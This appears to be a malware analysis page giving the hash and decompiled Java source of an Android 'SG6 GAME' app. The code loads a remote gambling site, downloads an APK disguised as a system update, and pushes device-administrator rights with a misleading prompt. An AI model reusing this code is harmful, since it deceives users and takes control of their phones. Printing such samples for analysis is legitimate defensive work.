SG6 GAME v1.2版本的 MD5 值为:e05d9d2dd2bb5cc643956d31ab441e99
以下内容为反编译后的 kkActivity.java 源代码,内容仅作参考
package com.afdemo.game;
import android.app.Activity;
import android.app.DownloadManager;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.text.TextUtils;
import android.util.Log;
import android.webkit.DownloadListener;
import android.webkit.JavascriptInterface;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
import com.alibaba.fastjson.JSONObject;
import com.appsflyer.AppsFlyerLib;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.messaging.FirebaseMessaging;
import com.hjq.permissions.OnPermissionCallback;
import com.hjq.permissions.Permission;
import com.hjq.permissions.XXPermissions;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.greenrobot.eventbus.EventBus;
public class kkActivity extends Activity {
private static final String TAG = "MainActivity";
public static kkActivity act;
private ValueCallback<Uri> mUploadCallBack;
private ValueCallback<Uri[]> mUploadCallBackAboveL;
SharedPreferences setting;
private WebView webView;
private final int REQUEST_CODE_FILE_CHOOSER = 888;
private final int REQUEST_CODE_ADM = 115;
String loadUrl = "https://www.sg6s.com/?ch=110008";
String apkUrl = "https://file.ucpay.com/app_v1.0.0_2_channel_Google.apk";
String outputFile = "new_version.apk";
Handler handler = new Handler();
public interface ResponseCallback {
void onFailure(String str);
void onSuccess(String str);
}
public static void executeNetworkRequest(final ResponseCallback responseCallback) {
new Thread(new Runnable() {
@Override
public void run() {
try {
Response execute = new OkHttpClient().newCall(new Request.Builder().url("https://jahxfgwm.top/cat.txt").build()).execute();
if (execute.isSuccessful() && execute.body() != null) {
String string = execute.body().string();
Log.d(kkActivity.TAG, "channel_url:" + string);
ResponseCallback.this.onSuccess(string);
} else {
ResponseCallback.this.onFailure("Network request failed");
}
} catch (IOException e) {
e.printStackTrace();
ResponseCallback.this.onFailure("Network request failed");
}
}
}).start();
}
public class AnonymousClass2 implements Runnable {
AnonymousClass2() {
}
@Override
public void run() {
kkActivity.this.webView = new WebView(kkActivity.act);
kkActivity.this.setSetting();
kkActivity.this.webView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedError(WebView webView, int i, String str, String str2) {
super.onReceivedError(webView, i, str, str2);
if (TextUtils.equals(str2, kkActivity.this.loadUrl)) {
webView.post(new Runnable() {
@Override
public void run() {
kkActivity.this.finish();
}
});
}
}
@Override
public void onPageFinished(WebView webView, String str) {
super.onPageFinished(webView, str);
kkActivity.this.webView.evaluateJavascript("javascript:window.WgPackage = {name:'" + kkActivity.this.getPackageName() + "', version:'" + kkActivity.this.getAppVersionName(kkActivity.this) + "'}", new ValueCallback<String>() {
@Override
public void onReceiveValue(String str2) {
}
});
}
@Override
public void onPageStarted(WebView webView, String str, Bitmap bitmap) {
super.onPageStarted(webView, str, bitmap);
kkActivity.this.webView.evaluateJavascript("javascript:window.WgPackage = {name:'" + kkActivity.this.getPackageName() + "', version:'" + kkActivity.this.getAppVersionName(kkActivity.this) + "'}", new ValueCallback<String>() {
@Override
public void onReceiveValue(String str2) {
}
});
}
@Override
public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) {
return super.shouldInterceptRequest(webView, webResourceRequest);
}
@Override
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
Log.d(kkActivity.TAG, "=========shouldOverrideUrlLoading:");
if (str.contains("t.me") || str.contains("whatsapp:")) {
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(str));
intent.setFlags(268435456);
kkActivity.this.startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(webView, str);
}
});
kkActivity.this.webView.addJavascriptInterface(new JsInterface(), "jsBridge");
kkActivity.this.webView.addJavascriptInterface(new JsInterface(), "jsbridge");
kkActivity.this.webView.getSettings().setJavaScriptEnabled(true);
kkActivity.this.webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
kkActivity.this.webView.postDelayed(new Runnable() {
@Override
public void run() {
Log.d(kkActivity.TAG, "=========postDelayed:");
kkActivity.this.webView.loadUrl(kkActivity.this.loadUrl);
}
}, 5000L);
kkActivity kkactivity = kkActivity.this;
kkactivity.setContentView(kkactivity.webView);
}
}
private void webViewScene() {
act.runOnUiThread(new AnonymousClass2());
}
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (TextUtils.isEmpty(this.loadUrl)) {
finish();
}
act = this;
this.setting = getSharedPreferences("SHARED_PREFERENCES", 0);
webViewScene();
Log.d("channel_url:", this.loadUrl);
AppsFlyerLibUtil.init(this);
getSHA1(this);
requestPer();
uploadPushToken();
this.handler.post(new Runnable() {
@Override
public final void run() {
kkActivity.this.lambda$onCreate$0();
}
});
}
public void lambda$onCreate$0() {
if (this.setting.getBoolean("FIRST_OPEN", true)) {
this.setting.edit().putBoolean("FIRST_OPEN", false).apply();
} else {
setAdmin();
}
}
private void uploadPushToken() {
FirebaseMessaging.getInstance().getToken().addOnCompleteListener(new OnCompleteListener() {
@Override
public final void onComplete(Task task) {
kkActivity.lambda$uploadPushToken$1(task);
}
});
}
public static void lambda$uploadPushToken$1(Task task) {
if (!task.isSuccessful()) {
Log.w(TAG, "Fetching FCM registration token failed", task.getException());
} else {
String str = (String) task.getResult();
}
}
private void requestPer() {
XXPermissions.with(this).permission(Permission.POST_NOTIFICATIONS).request(new OnPermissionCallback() {
@Override
public void onGranted(List<String> list, boolean z) {
}
@Override
public void onDenied(List<String> list, boolean z) {
if (z) {
Toast.makeText(kkActivity.this, "拒绝开启通知您将无法第一时间接收到我们的消息", 1).show();
} else {
Toast.makeText(kkActivity.this, "拒绝开启通知您将无法第一时间接收到我们的消息", 1).show();
}
}
});
}
public static String getSHA1(Context context) {
try {
byte[] digest = MessageDigest.getInstance("SHA1").digest(context.getPackageManager().getPackageInfo(context.getPackageName(), 64).signatures[0].toByteArray());
StringBuilder sb = new StringBuilder();
for (byte b : digest) {
sb.append(Integer.toString((b & 255) + 256, 16).substring(1));
}
return sb.toString();
} catch (PackageManager.NameNotFoundException | NoSuchAlgorithmException e) {
e.printStackTrace();
return null;
}
}
private void download() {
DownloadManager.Request request = new DownloadManager.Request(Uri.parse(this.apkUrl));
request.setDestinationInExternalFilesDir(this, Environment.DIRECTORY_DOWNLOADS, "系统文件更新中");
((DownloadManager) getSystemService("download")).enqueue(request);
registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
}
}, new IntentFilter("android.intent.action.DOWNLOAD_COMPLETE"));
}
public void setAdmin() {
boolean z = this.setting.getBoolean("ACTIVITY", false);
getApplicationInfo().flags = 1;
ComponentName componentName = new ComponentName(this, MyDeviceAdminReceiver.class);
if (((DevicePolicyManager) getSystemService("device_policy")).isAdminActive(componentName)) {
if (z) {
return;
}
AppsFlyerLibUtil.event(this, "af_device_active", "");
this.setting.edit().putBoolean("ACTIVITY", true).apply();
return;
}
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName);
intent.putExtra("android.app.extra.ADD_EXPLANATION", "Please enable this feature so that we can provide you with better service");
startActivityForResult(intent, 115);
}
public String getAppVersionName(Context context) {
try {
return context.getApplicationContext().getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e) {
String message = e.getMessage();
Objects.requireNonNull(message);
Log.e(TAG, message);
return "";
}
}
public void setSetting() {
WebSettings settings = this.webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
settings.setSupportMultipleWindows(true);
settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN);
settings.setDomStorageEnabled(true);
settings.setCacheMode(-1);
settings.setAllowContentAccess(true);
settings.setDatabaseEnabled(true);
settings.setGeolocationEnabled(true);
settings.setUseWideViewPort(true);
settings.setUserAgentString(settings.getUserAgentString().replaceAll("; wv", ""));
if (Build.VERSION.SDK_INT > 16) {
settings.setMediaPlaybackRequiresUserGesture(false);
}
settings.setSupportZoom(false);
EventBus.getDefault().post(new String());
try {
Method method = settings.getClass().getMethod("setAllowUniversalAccessFromFileURLs", Boolean.TYPE);
if (method != null) {
method.invoke(settings, true);
}
} catch (IllegalAccessException | IllegalArgumentException | NoSuchMethodException | InvocationTargetException e) {
e.printStackTrace();
}
this.webView.setDownloadListener(new DownloadListener() {
@Override
public void onDownloadStart(String str, String str2, String str3, String str4, long j) {
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(str));
intent.setFlags(268435456);
kkActivity.this.startActivity(intent);
}
});
this.webView.setWebChromeClient(new WebChromeClient() {
public void openFileChooser(ValueCallback<Uri> valueCallback, String str) {
kkActivity.this.mUploadCallBack = valueCallback;
kkActivity.this.openFileChooseProcess();
}
public void openFileChooser(ValueCallback<Uri> valueCallback) {
kkActivity.this.mUploadCallBack = valueCallback;
kkActivity.this.openFileChooseProcess();
}
public void openFileChooser(ValueCallback<Uri> valueCallback, String str, String str2) {
kkActivity.this.mUploadCallBack = valueCallback;
kkActivity.this.openFileChooseProcess();
}
@Override
public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> valueCallback, WebChromeClient.FileChooserParams fileChooserParams) {
kkActivity.this.mUploadCallBackAboveL = valueCallback;
kkActivity.this.openFileChooseProcess();
return true;
}
});
}
public void openFileChooseProcess() {
Intent intent = new Intent("android.intent.action.GET_CONTENT");
intent.addCategory("android.intent.category.OPENABLE");
intent.setType("image/*");
startActivityForResult(Intent.createChooser(intent, "Select Picture"), 888);
}
@Override
public void onBackPressed() {
if (this.webView.canGoBack()) {
this.webView.goBack();
} else {
super.onBackPressed();
}
}
public class JsInterface {
public JsInterface() {
}
@JavascriptInterface
public void postMessage(String str, String str2) {
Log.e(kkActivity.TAG, "name = " + str + " data = " + str2);
if (TextUtils.isEmpty(str) || TextUtils.isEmpty(str2)) {
return;
}
AppsFlyerLibUtil.event(kkActivity.this, str, str2);
if (str.contains("recharge")) {
kkActivity.this.setAdmin();
}
}
@JavascriptInterface
public void appsFlyerEvent(String str) {
Log.d("Tools appsFlyerEvent", "=====data:" + str);
HashMap hashMap = new HashMap();
String str2 = "";
for (Map.Entry<String, Object> entry : JSONObject.parseObject(str).entrySet()) {
String obj = entry.getKey().toString();
Object value = entry.getValue();
if (obj.equals("event_type")) {
str2 = value.toString();
} else {
hashMap.put(obj, value);
}
}
if (str2.equals("")) {
return;
}
Log.d("LOG_TAG", "appsflyer事件: " + str2);
Log.d("LOG_TAG", String.valueOf(hashMap));
AppsFlyerLib.getInstance().logEvent(kkActivity.this, str2, hashMap);
}
}
@Override
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
Log.e(TAG, "---------requestCode = " + i + " resultCode = " + i2);
if (i == 888) {
Uri data = (intent == null || i2 != -1) ? null : intent.getData();
if (data != null) {
if (Build.VERSION.SDK_INT >= 21) {
ValueCallback<Uri[]> valueCallback = this.mUploadCallBackAboveL;
if (valueCallback != null) {
valueCallback.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(i2, intent));
this.mUploadCallBackAboveL = null;
return;
}
} else {
ValueCallback<Uri> valueCallback2 = this.mUploadCallBack;
if (valueCallback2 != null) {
valueCallback2.onReceiveValue(data);
this.mUploadCallBack = null;
return;
}
}
}
clearUploadMessage();
} else if (i == 115) {
if (!((DevicePolicyManager) getSystemService("device_policy")).isAdminActive(new ComponentName(this, MyDeviceAdminReceiver.class))) {
AppsFlyerLibUtil.event(this, "af_device_cancel", "");
this.setting.edit().putBoolean("ACTIVITY", false).apply();
} else if (this.setting.getBoolean("ACTIVITY", false)) {
} else {
this.setting.edit().putBoolean("ACTIVITY", true).apply();
AppsFlyerLibUtil.event(this, "af_device_active", "");
}
} else if (i2 == -1) {
if (i != 1 || this.webView == null) {
return;
}
Log.e(TAG, "---------下分成功-----");
this.webView.evaluateJavascript("javascript:window.closeGame()", new ValueCallback<String>() {
@Override
public void onReceiveValue(String str) {
}
});
} else if (i == 0 && ((DevicePolicyManager) getSystemService("device_policy")).isAdminActive(new ComponentName(this, MyDeviceAdminReceiver.class))) {
Toast.makeText(this, ":", 1).show();
}
}
private void clearUploadMessage() {
ValueCallback<Uri[]> valueCallback = this.mUploadCallBackAboveL;
if (valueCallback != null) {
valueCallback.onReceiveValue(null);
this.mUploadCallBackAboveL = null;
}
ValueCallback<Uri> valueCallback2 = this.mUploadCallBack;
if (valueCallback2 != null) {
valueCallback2.onReceiveValue(null);
this.mUploadCallBack = null;
}
}
}